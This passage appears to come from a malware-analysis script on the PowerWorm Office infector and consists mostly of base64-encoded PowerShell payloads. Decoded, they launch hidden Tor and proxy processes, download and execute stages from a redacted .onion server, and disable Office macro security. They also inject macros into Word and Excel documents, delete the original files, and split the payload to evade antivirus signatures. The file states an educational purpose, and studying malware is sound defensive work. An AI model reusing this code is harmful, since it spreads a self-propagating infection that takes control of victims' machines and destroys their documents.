AHQAaQBhAGwAaQB6AGEAdABpAG8AbgAgAGwAbwBnACAAZgBpAGwAZQAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAFQAbwByACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIAIAAtAC0ATABvAGcAIABgACIAbgBvAHQAaQBjAGUAIABmAGkAbABlACAAJABUAG8AcgBSAG8AYQBtAGkAbgBnAEwAbwBnAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgACAAIwAgAFcAYQBpAHQAIABmAG8AcgAgAFQAbwByACAAdABvACAAZgBpAG4AaQBzAGgAIABpAG4AaQB0AGkAYQBsAGkAegBpAG4AZwAgAGQAbwAgAHsAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADEAIAAgACAAIAAgACQATABvAGcAQwBvAG4AdABlAG4AdABzACAAPQAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgACQAVABvAHIAUgBvAGEAbQBpAG4AZwBMAG8AZwAgAH0AIAB3AGgAaQBsAGUAIAAoACEAKAAkAEwAbwBnAEMAbwBuAHQAZQBuAHQAcwAgAC0AbQBhAHQAYwBoACAAJwBCAG8AbwB0AHMAdAByAGEAcABwAGUAZAAgADEAMAAwACUAOgAgAEQAbwBuAGUALgAnACkAKQAgACAAIwAgAFMAdABhAHIAdAAgAHAAbwBsAGkAcABvACAAcAByAG8AeAB5ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABvAGwAaQBwAG8AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwBzAG8AYwBrAHMAUABhAHIAZQBuAHQAUAByAG8AeAB5AD0AbABvAGMAYQBsAGgAbwBzAHQAOgA5ADAANQAwACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAANwAgACQAVwBlAGIAUAByAG8AeAB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQAoACcAbABvAGMAYQBsAGgAbwBzAHQAOgA4ADEAMgAzACcAKQAgACQAVwBlAGIAUAByAG8AeAB5AC4AVQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAJABUAHIAdQBlACAAJABXAGUAYgBDAGwAaQBlAG4AdAAuAFAAcgBvAHgAeQAgAD0AIAAkAFcAZQBiAFAAcgBvAHgAeQAgACAAJABTAHQAYQBnAGUAMQBVAHIAaQAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AUgBFAEQAQQBDAFQARQBEAFIARQBEAEEAQwBUAEUARAAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AYQB1AHQAbwByAHUAbgAmAHUAaQBkAD0AJwAgACsAIAAkAE0AYQBjAGgAaQBuAGUARwB1AGkAZAAgACAAdwBoAGkAbABlACAAKAAhACQAUwB0AGEAZwBlADEAUABhAHkAbABvAGEAZAApACAAewAgACAAIAAgACAAJABTAHQAYQBnAGUAMQBQAGEAeQBsAG8AYQBkAD0AJABXAGUAYgBDAGwAaQBlAG4AdAAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACQAUwB0AGEAZwBlADEAVQByAGkAKQAgAH0AIAAgAGkAZgAgACgAJABTAHQAYQBnAGUAMQBQAGEAeQBsAG8AYQBkACAALQBuAGUAIAAnAG4AbwBuAGUAJwApACAAewAgACAAIAAgACAAIwAgAEUAeABlAGMAdQB0AGUAIAB0AGgAZQAgAHMAdABhAGcAZQAgADEAIABwAGEAeQBsAG8AYQBkACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAFMAdABhAGcAZQAxAFAAYQB5AGwAbwBhAGQAIAB9ACAAIAAkAFIAZQBnAGkAcwB0AHIAeQBQAGEAeQBsAG8AYQBkADMAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAKQAuACgAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAArACAAJwAxACcAKQAgACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABSAGUAZwBpAHMAdAByAHkAUABhAHkAbABvAGEAZAAzACkAKQApACAAIABTAHQAYQByAHQALQBFAHgAaQBzAHQAaQBuAGcARAByAGkAdgBlAEkAbgBmAGUAYwB0AGkAbwBuACAAUwB0AGEAcgB0AC0ATgBlAHcARAByAGkAdgBlAEkAbgBmAGUAYwB0AGkAbwBuAA=='

# This payload is decoded, deobfuscated, cleaned up, and analyzed in PowerWorm_Part3.ps1
$EncodedPayload3 = 'PAAjACAAVABFAFIATQBTACAATwBGACAAVQBTAEUAOgAgAEMAbwBuAHMAaQBkAGUAcgBpAG4AZwAgAEkAIABhAG0AIABuAG8AdAAgAHQAaABlACAAbwByAGkAZwBpAG4AYQBsACAAYQB1AHQAaABvAHIAIABvAGYAIAB0AGgAaQBzACAAbQBhAGwAdwBhAHIAZQAsACAASQAgAGMAYQBuAG4AbwB0ACAAYQBwAHAAbAB5ACAAYQBuAHkAIABmAG8AcgBtAGEAbAAgAGwAaQBjAGUAbgBzAGUAIAB0AG8AIAB0AGgAaQBzACAAdwBvAHIAawAuACAASQAgAGMAYQBuACwAIABoAG8AdwBlAHYAZQByACwAIABhAHAAcABsAHkAIABhACAAZwBlAG4AdABsAGUAbQBhAG4AJwBzACAAYwBsAGEAdQBzAGUAIAB0AG8AIAB0AGgAZQAgAHUAcwBlACAAbwBmACAAdABoAGkAcwAgAHMAYwByAGkAcAB0ACAAdwBoAGkAYwBoACAAaQBzACAAZABpAGMAdABhAHQAZQBkACAAYQBzACAAZgBvAGwAbABvAHcAcwA6ACAAIABEAEIAQQBEACAAQwBsAGEAdQBzAGUAIAB2ADAALgAxACAALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAgAEQAbwBuACcAdAAgAGIAZQAgAGEAIABkAG8AdQBjAGgAZQAuACAAVABoAGkAcwAgAG0AYQBsAHcAYQByAGUAIABoAGEAcwAgAGwAaQB0AHQAbABlACAAdABvACAAbgBvACAAbABlAGcAaQB0AGkAbQBhAHQAZQAgAHUAcwBlACAAYQBuAGQAIABhAHMAIABzAHUAYwBoACwAIABJACAAcgBlAHMAZQByAHYAZQAgAHQAaABlACAAcgBpAGcAaAB0ACAAdABvACAAcAB1AGIAbABpAGMAbAB5ACAAcwBoAGEAbQBlACAAeQBvAHUAIABpAGYAIAB5AG8AdQAgAGEAcgBlACAAYwBhAHUAZwBoAHQAIAB1AHMAaQBuAGcAIAB0AGgAaQBzACAAZgBvAHIAIABtAGEAbABpAGMAaQBvAHUAcwAgAHAAdQByAHAAbwBzAGUAcwAuACAAVABoAGUAIABzAG8AbABlACAAcAB1AHIAcABvAHMAZQAgAG8AZgAgAHAAdQBiAGwAaQBzAGgAaQBuAGcAIAB0AGgAaQBzACAAbQBhAGwAdwBhAHIAZQAgAGkAcwAgAHQAbwAgAGkAbgBmAG8AcgBtACAAYQBuAGQAIABlAGQAdQBjAGEAdABlAC4AIAAgAEwAYQBzAHQAbAB5ACwAIABJACAAaABhAHYAZQAgAHIAZQBkAGEAYwB0AGUAZAAgAHAAbwByAHQAaQBvAG4AcwAgAG8AZgAgAHQAaABlACAAbQBhAGwAdwBhAHIAZQAgAHcAaABlAHIAZQAgAG4AZQBjAGUAcwBzAGEAcgB5AC4AIABSAGUAZABhAGMAdABpAG8AbgBzACAAdwBpAGwAbAAgAGIAZQAgAGUAdgBpAGQAZQBuAHQAIABpAG4AIAB0AGgAZQAgAGMAbwBkAGUALgAgACMAPgAgACAAPAAjACAAUwBUAEUAUAAgACMAMwAgAFQAaABpAHMAIABpAHMAIAB0AGgAZQAgAGYAdQBsAGwAeQAgAGQAZQBvAGIAZgB1AHMAYwBhAHQAZQBkACAAYQBuAGQAIABjAGwAZQBhAG4AZQBkACAAdQBwACAAdgBlAHIAcwBpAG8AbgAgAG8AZgAgAHQAaABlACAAWABMAFMAIABQAG8AdwBlAHIAIABXAG8AcgBtACAATwBmAGYAaQBjAGUAIABkAG8AYwB1AG0AZQBuAHQAIABpAG4AZgBlAGMAdABvAHIAIABwAGEAeQBsAG8AYQBkAC4AIAAjAD4AIAAgACQATQBhAGMAaABpAG4AZQBHAHUAaQBkACAAPQAgACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEACAAIAAjACAARABpAHMAYQBiAGwAZQAgAE8AZgBmAGkAYwBlACAAcwBlAGMAdQByAGkAdAB5ACAAZgBlAGEAdAB1AHIAZQBzAC4AIABUAGgAaQBzACAAYwBhAHUAcwBlAHMAIABtAGEAYwByAG8AcwAgAHQAbwAgAGIAZQAgAGUAeABlAGMAdQB0AGUAZAAgAGEAdQB0AG8AbQBhAHQAaQBjAGEAbABsAHkAIAB1AHAAbwBuACAAbwBwAGUAbgBpAG4AZwAgACMAIABhACAAZABvAGMAdQBtAGUAbgB0ACAAbwByACAAcwBwAHIAZQBhAGQAcwBoAGUAZQB0AC4AIABUAGgAZQBzAGUAIABzAGUAdAB0AGkAbgBnAHMAIABhAGwAcwBvACAAbQB1AHMAdAAgAGIAZQAgAGUAbgBhAGIAbABlAGQAIABpAG4AIABvAHIAZABlAHIAIAB0AG8AIAB2AGkAZQB3ACAAYQBuAGQAIABlAGQAaQB0ACAAbQBhAGMAcgBvAHMALgAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAE8AZgBmAGkAYwBlAFwAKgBcACoAXABTAGUAYwB1AHIAaQB0AHkAIAAtAE4AYQBtAGUAIABBAGMAYwBlAHMAcwBWAEIATwBNACAALQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAxACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATwBmAGYAaQBjAGUAXAAqAFwAKgBcAFMAZQBjAHUAcgBpAHQAeQAgAC0ATgBhAG0AZQAgAFYAQgBBAFcAYQByAG4AaQBuAGcAcwAgAC0AVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0AVgBhAGwAdQBlACAAMQAgAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAE8AZgBmAGkAYwBlAFwAKgBcAEUAeABjAGUAbABcAFIAZQBzAGkAbABpAGUAbgBjAHkAXABEAGkAcwBhAGIAbABlAGQASQB0AGUAbQBzACAAfAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAE8AZgBmAGkAYwBlAFwAKgBcAFcAbwByAGQAXABSAGUAcwBpAGwAaQBlAG4AYwB5AFwARABpAHMAYQBiAGwAZQBkAEkAdABlAG0AcwAgAHwAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAgAGYAdQBuAGMAdABpAG8AbgAgAFMAZQB0AC0AVwBvAHIAZABEAG8AYwB1AG0AZQBuAHQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAKAAkAFcAbwByAGQARgBpAGwAZQAsACAAJABNAGEAYwByAG8AUABhAHkAbABvAGEAZAAsACAAJABXAG8AcgBkAEMAbwBtAE8AYgBqAGUAYwB0ACkAIAB7ACAAIAAgACAAIABpAGYAIAAoACQAVwBvAHIAZABDAG8AbQBPAGIAagBlAGMAdAAuAFQAYQBzAGsAcwAuAEUAeABpAHMAdABzACgAJABXAG8AcgBkAEYAaQBsAGUALgBCAGEAcwBlAE4AYQBtAGUAKQApACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAJABXAG8AcgBkAEQAbwBjACAAPQAgACQAVwBvAHIAZABDAG8AbQBPAGIAagBlAGMAdAAuAEQAbwBjAHUAbQBlAG4AdABzAC4ATwBwAGUAbgAoACQAVwBvAHIAZABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlACkAIAAgACAAIAAgACQAQwBvAGQAZQBNAG8AZAB1AGwAZQAgAD0AIAAkAFcAbwByAGQARABvAGMALgBWAEIAUAByAG8AagBlAGMAdAAuAFYAQgBDAG8AbQBwAG8AbgBlAG4AdABzAC4ASQB0AGUAbQAoADEAKQAuAEMAbwBkAGUATQBvAGQAdQBsAGUAIAAgACAAIAAgACAAaQBmACAAKAAkAEMAbwBkAGUATQBvAGQAdQBsAGUALgBDAG8AdQBuAHQATwBmAEwAaQBuAGUAcwAgAC0AZwB0ACAAMAApACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgACQAQwBvAGQAZQBNAG8AZAB1AGwAZQAuAEQAZQBsAGUAdABlAEwAaQBuAGUAcwAoADEALAAgACQAQwBvAGQAZQBNAG8AZAB1AGwAZQAuAEMAbwB1AG4AdABPAGYATABpAG4AZQBzACkAIAAgACAAIAAgAH0AIAAgACAAIAAgACAAIAAgACAAIAAkAEMAbwBkAGUATQBvAGQAdQBsAGUALgBBAGQAZABGAHIAbwBtAFMAdAByAGkAbgBnACgAJABNAGEAYwByAG8AUABhAHkAbABvAGEAZAApACAAIAAgACAAIAAgACAAIAAgACAAIwAgAEcAZQB0ACAAdABoAGUAIABmAHUAbABsACAAcABhAHQAaAAgAG8AZgAgAHQAaABlACAAZABvAGMAdQBtAGUAbgB0ACAAYQBuAGQAIABmAG8AcgBjAGUAIAB0AGgAZQAgAGUAeAB0AGUAbgBzAGkAbwBuACAAdABvACAAYgBlACAALgBkAG8AYwAgACAAIAAgACAAaQBmACAAKAAkAFcAbwByAGQARgBpAGwAZQAuAEQAaQByAGUAYwB0AG8AcgB5AE4AYQBtAGUAWwAtADEAXQAgAC0AZQBxACAAJwBcACcAKQAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAkAEQAbwBjAEYAdQBsAGwAUABhAHQAaAAgAD0AIAAkAFcAbwByAGQARgBpAGwAZQAuAEQAaQByAGUAYwB0AG8AcgB5AE4AYQBtAGUAIAArACAAJABXAG8AcgBkAEYAaQBsAGUALgBCAGEAcwBlAE4AYQBtAGUAIAArACAAJwAuAGQAbwBjACcAIAAgACAAIAAgAH0AIAAgACAAIAAgAGUAbABzAGUAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAJABEAG8AYwBGAHUAbABsAFAAYQB0AGgAIAA9ACAAJABXAG8AcgBkAEYAaQBsAGUALgBEAGkAcgBlAGMAdABvAHIAeQBOAGEAbQBlACAAKwAgACcAXAAnACAAKwAgACQAVwBvAHIAZABGAGkAbABlAC4AQgBhAHMAZQBOAGEAbQBlACAAKwAgACcALgBkAG8AYwAnACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACMAIABoAHQAdABwADoALwAvAG0AcwBkAG4ALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8AZQBuAC0AdQBzAC8AbABpAGIAcgBhAHIAeQAvAGYAZgA4ADMAOQA5ADUAMgAoAHYAPQBvAGYAZgBpAGMAZQAuADEANAApAC4AYQBzAHAAeAAgACAAIAAgACAAJAB3AGQARgBvAHIAbQBhAHQAWABNAEwARABvAGMAdQBtAGUAbgB0AE0AYQBjAHIAbwBFAG4AYQBiAGwAZQBkACAAPQAgADEAMwAgACAAIAAgACAAIAAgACAAIAAgACMAIABJAGYAIAB0AGgAZQAgAGQAbwBjAHUAbQBlAG4AdAAgAHcAYQBzACAAYQAgAC4AZABvAGMAeAAgAGYAaQBsAGUALAAgAGQAbwB3AG4AZwByAGEAZABlACAAaQB0ACAAdABvACAAYQAgAC4AZABvAGMAIAAgACAAIAAgACQAVwBvAHIAZABEAG8AYwAuAFMAYQB2AGUAQQBzACgAWwByAGUAZgBdACQARABvAGMARgB1AGwAbABQAGEAdABoACwAIABbAHIAZQBmAF0AIAAkAHcAZABGAG8AcgBtAGEAdABYAE0ATABEAG8AYwB1AG0AZQBuAHQATQBhAGMAcgBvAEUAbgBhAGIAbABlAGQAKQAgACAAIAAgACAAJABXAG8AcgBkAEQAbwBjAC4AQwBsAG8AcwBlACgAKQAgACAAIAAgACAAIAAgACAAIAAgACMAIABEAGUAbABlAHQAZQAgAHQAaABlACAAbwByAGkAZwBpAG4AYQBsACAALgBkAG8AYwB4ACAAIAAgACAAIABpAGYAIAAoACgAJABXAG8AcgBkAEYAaQBsAGUALgBFAHgAdABlAG4AcwBpAG8AbgAgAC0AZQBxACAAJwAuAGQAbwBjAHgAJwApACAALQBhAG4AZAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEQAbwBjAEYAdQBsAGwAUABhAHQAaAApACkAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABXAG8AcgBkAEYAaQBsAGUALgBGAHUAbABsAE4AYQBtAGUAIAAgACAAIAAgAH0AIAB9ACAAIABmAHUAbgBjAHQAaQBvAG4AIABTAGUAdAAtAEUAeABjAGUAbABEAG8AYwB1AG0AZQBuAHQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAKAAkAEUAeABjAGUAbABGAGkAbABlACwAIAAkAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACwAIAAkAEUAeABjAGUAbABDAG8AbQBPAGIAagBlAGMAdAApACAAewAgACAAIAAgACAAJABXAG8AcgBrAGIAbwBvAGsAIAA9ACQARQB4AGMAZQBsAEMAbwBtAE8AYgBqAGUAYwB0AC4AdwBvAHIAawBiAG8AbwBrAHMALgBPAHAAZQBuACgAJABFAHgAYwBlAGwARgBpAGwAZQAuAEYAdQBsAGwATgBhAG0AZQApACAAIAAgACAAIAAkAEMAbwBkAGUATQBvAGQAdQBsAGUAIAA9ACAAJABXAG8AcgBrAGIAbwBvAGsALgBWAEIAUAByAG8AagBlAGMAdAAuAFYAQgBDAG8AbQBwAG8AbgBlAG4AdABzAC4ASQB0AGUAbQAoADEAKQAuAEMAbwBkAGUATQBvAGQAdQBsAGUAIAAgACAAIAAgACQAQwBvAGQAZQBNAG8AZAB1AGwAZQAuAEQAZQBsAGUAdABlAEwAaQBuAGUAcwAoADEALAAgACQAQwBvAGQAZQBNAG8AZAB1AGwAZQAuAEMAbwB1AG4AdABPAGYATABpAG4AZQBzACkAIAAgACAAIAAgACQAQwBvAGQAZQBNAG8AZAB1AGwAZQAuAEEAZABkAEYAcgBvAG0AUwB0AHIAaQBuAGcAKAAkAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACkAIAAgACAAIAAgACAAIAAgACAAIAAjACAARwBlAHQAIAB0AGgAZQAgAGYAdQBsAGwAIABwAGEAdABoACAAbwBmACAAdABoAGUAIABkAG8AYwB1AG0AZQBuAHQAIABhAG4AZAAgAGYAbwByAGMAZQAgAHQAaABlACAAZQB4AHQAZQBuAHMAaQBvAG4AIAB0AG8AIABiAGUAIAAuAHgAbABzACAAIAAgACAAIABpAGYAIAAoACQARQB4AGMAZQBsAEYAaQBsAGUALgBEAGkAcgBlAGMAdABvAHIAeQBOAGEAbQBlAFsALQAxAF0AIAAtAGUAcQAgACcAXAAnACkAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAJABYAGwAcwBGAHUAbABsAFAAYQB0AGgAIAA9ACAAJABFAHgAYwBlAGwARgBpAGwAZQAuAEQAaQByAGUAYwB0AG8AcgB5AE4AYQBtAGUAIAArACAAJABFAHgAYwBlAGwARgBpAGwAZQAuAEIAYQBzAGUATgBhAG0AZQAgACsAIAAnAC4AeABsAHMAJwAgACAAIAAgACAAfQAgACAAIAAgACAAZQBsAHMAZQAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAkAFgAbABzAEYAdQBsAGwAUABhAHQAaAAgAD0AIAAkAEUAeABjAGUAbABGAGkAbABlAC4ARABpAHIAZQBjAHQAbwByAHkATgBhAG0AZQAgACsAIAAnAFwAJwAgACsAIAAkAEUAeABjAGUAbABGAGkAbABlAC4AQgBhAHMAZQBOAGEAbQBlACAAKwAgACcALgB4AGwAcwAnACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAIwAgAGgAdAB0AHAAOgAvAC8AbQBzAGQAbgAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBlAG4ALQB1AHMALwBsAGkAYgByAGEAcgB5AC8AZgBmADEAOQA4ADAAMQA3ACgAdgA9AG8AZgBmAGkAYwBlAC4AMQA0ACkALgBhAHMAcAB4ACAAIAAgACAAIAAkAHgAbABFAHgAYwBlAGwAOAAgAD0AIAA1ADYAIAAgACAAIAAgACAAIwAgAEkAZgAgAHQAaABlACAAZABvAGMAdQBtAGUAbgB0ACAAdwBhAHMAIABhACAALgB4AGwAcwB4ACAAZgBpAGwAZQAsACAAZABvAHcAbgBnAHIAYQBkAGUAIABpAHQAIAB0AG8AIABhAG4AIAAuAHgAbABzACAAIAAgACAAIAAkAFcAbwByAGsAYgBvAG8AawAuAFMAYQB2AGUAQQBzACgAJABYAGwAcwBGAHUAbABsAFAAYQB0AGgALAAgACQAeABsAEUAeABjAGUAbAA4ACkAIAAgACAAIAAgACQAVwBvAHIAawBiAG8AbwBrAC4AQwBsAG8AcwBlACgAKQAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAKAAkAEUAeABjAGUAbABGAGkAbABlAC4ARQB4AHQAZQBuAHMAaQBvAG4AIAAtAGUAcQAgACcALgB4AGwAcwB4ACcAKQAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABYAGwAcwBGAHUAbABsAFAAYQB0AGgAKQApACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQARQB4AGMAZQBsAEYAaQBsAGUALgBGAHUAbABsAE4AYQBtAGUAIAAgACAAIAAgAH0AIAB9ACAAIABmAHUAbgBjAHQAaQBvAG4AIABOAGUAdwAtAE0AYQBsAGkAYwBpAG8AdQBzAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACAAewAgACAAIAAgACAAUABhAHIAYQBtACAAKAAgACAAIAAgACAAIAAgACAAIABbAFYAYQBsAGkAZABhAHQAZQBTAGUAdAAoACcAZQB4AGMAZQBsACcALAAgACcAdwBvAHIAZAAnACkAXQAgACAAIAAgACAAIAAgACAAIABbAFMAdAByAGkAbgBnAF0AIAAgACAAIAAgACAAIAAgACAAJABJAG4AZgBlAGMAdABpAG8AbgBUAHkAcABlACAAIAAgACAAIAApACAAIAAgACAAIAAgACQATgBlAHcAbABpAG4AZQAgAD0AIABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBOAGUAdwBMAGkAbgBlACAAIAAgACAAIAAgACMAIABHAGUAdAAgAHQAaABlACAAbwByAGkAZwBpAG4AYQBsACAAaQBuAGYAZQBjAHQAaQBvAG4AIABwAGEAeQBsAG8AYQBkACAAdABoAGEAdAAgAHcAYQBzACAAcwB0AG8AcgBlAGQAIABpAG4AIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgACAAIAAgACAAJABFAG4AYwBvAGQAZQBkAEkAbgBmAGUAYwB0AG8AcgBQAGEAeQBsAG8AYQBkACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBDAFUAOgBcAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAKQAuACgAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAArACAAJwAwACcAKQAgACAAIAAgACAAJABFAG4AYwBvAGQAZQBkAEkAbgBmAGUAYwB0AG8AcgBQAGEAeQBsAG8AYQBkAEwAZQBuAGcAdABoACAAPQAgACQARQBuAGMAbwBkAGUAZABJAG4AZgBlAGMAdABvAHIAUABhAHkAbABvAGEAZAAuAEwAZQBuAGcAdABoACAAIAAgACAAIAAgACMAIABHAGUAdAAgAGEAIAByAGEAbgBkAG8AbQAgAG4AdQBtAGIAZQByACAAYgBlAHQAdwBlAGUAbgAgADUAMAAwACAAYQBuAGQAIAA3ADkAOQAgACAAIAAgACAAJABSAGEAbgBkAG8AbQBOAHUAbQAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAANQAwADAAIAAtAE0AYQB4AGkAbQB1AG0AIAA4ADAAMAAgACAAIAAgACAAIAAjACAAVABoAGUAIABlAG4AYwBvAGQAZQBkACAAcABhAHkAbABvAGEAZAAgAHMAdAByAGkAbgBnACAAdwBpAGwAbAAgAGIAZQAgAGIAcgBvAGsAZQBuACAAdQBwACAAaQBuAHQAbwAgAHQAaABlACAAcgBhAG4AZABvAG0AbAB5ACAAcwBlAGwAZQBjAHQAZQBkACAAaQBuAHQAZQByAHYAYQBsACwAIAAgACAAIAAgACMAIABwAHIAZQBzAHUAbQBhAGIAbAB5ACAAdABvACAAYgB5AHAAYQBzAHMAIABhAG4AdABpAHYAaQByAHUAcwAgAHMAdABhAHQAaQBjACAAYgB5AHQAZQAgAHMAaQBnAG4AYQB0AHUAcgBlAHMALgAgACAAIAAgACAAJABTAHQAcgBpAG4AZwBTAGUAcABhAHIAYQB0AG8AcgBJAG4AdABlAHIAdgBhAGwAIAA9ACAAWwBNAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoACQARQBuAGMAbwBkAGUAZABJAG4AZgBlAGMAdABvAHIAUABhAHkAbABvAGEAZABMAGUAbgBnAHQAaAAvACQAUgBhAG4AZABvAG0ATgB1AG0AKQAgACAAIAAgACAAIAAkAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACAAPQAgACIAIgAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAUwB0AHIAaQBuAGcAUwBlAHAAYQByAGEAdABvAHIASQBuAHQAZQByAHYAYQBsACAAOwAgACQAaQArACsAKQAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAkAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACAAKwA9ACAAJwAmACAAIgAnACAAKwAgACQARQBuAGMAbwBkAGUAZABJAG4AZgBlAGMAdABvAHIAUABhAHkAbABvAGEAZAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACoAJABSAGEAbgBkAG8AbQBOAHUAbQAsACQAUgBhAG4AZABvAG0ATgB1AG0AKQAgACsAIAAnACIAIABfACcAIAArACAAJABOAGUAdwBsAGkAbgBlACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABnAHcAPQAkAEUAbgBjAG8AZABlAGQASQBuAGYAZQBjAHQAbwByAFAAYQB5AGwAbwBhAGQATABlAG4AZwB0AGgAJQAkAFIAYQBuAGQAbwBtAE4AdQBtACkAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAJABNAGEAYwByAG8AUABhAHkAbABvAGEAZAAgACsAPQAgACcAJgAgACIAJwAgACsAIAAkAEUAbgBjAG8AZABlAGQASQBuAGYAZQBjAHQAbwByAFAAYQB5AGwAbwBhAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQARQBuAGMAbwBkAGUAZABJAG4AZgBlAGMAdABvAHIAUABhAHkAbABvAGEAZABMAGUAbgBnAHQAaAAtACQAZwB3ACkAIAArACAAJwAiACAAXwAnACAAKwAgACQATgBlAHcAbABpAG4AZQAgACAAIAAgACAAfQAgACAAIAAgACAAIAAgACAAIAAgACQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAIAA9ACAAJABOAGUAdwBsAGkAbgBlACAAKwAgACcAYgAgAD0AIAAnACAAKwAgACQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADIALAAgACQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQALgBMAGUAbgBnAHQAaAAtADYAKQAgACsAIAAkAE4AZQB3AGwAaQBuAGUAIAArACAAJwBTAGUAdAAgAGEAIAA9ACAAQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApACcAIAArACAAJABOAGUAdwBsAGkAbgBlACAAKwAgACcAY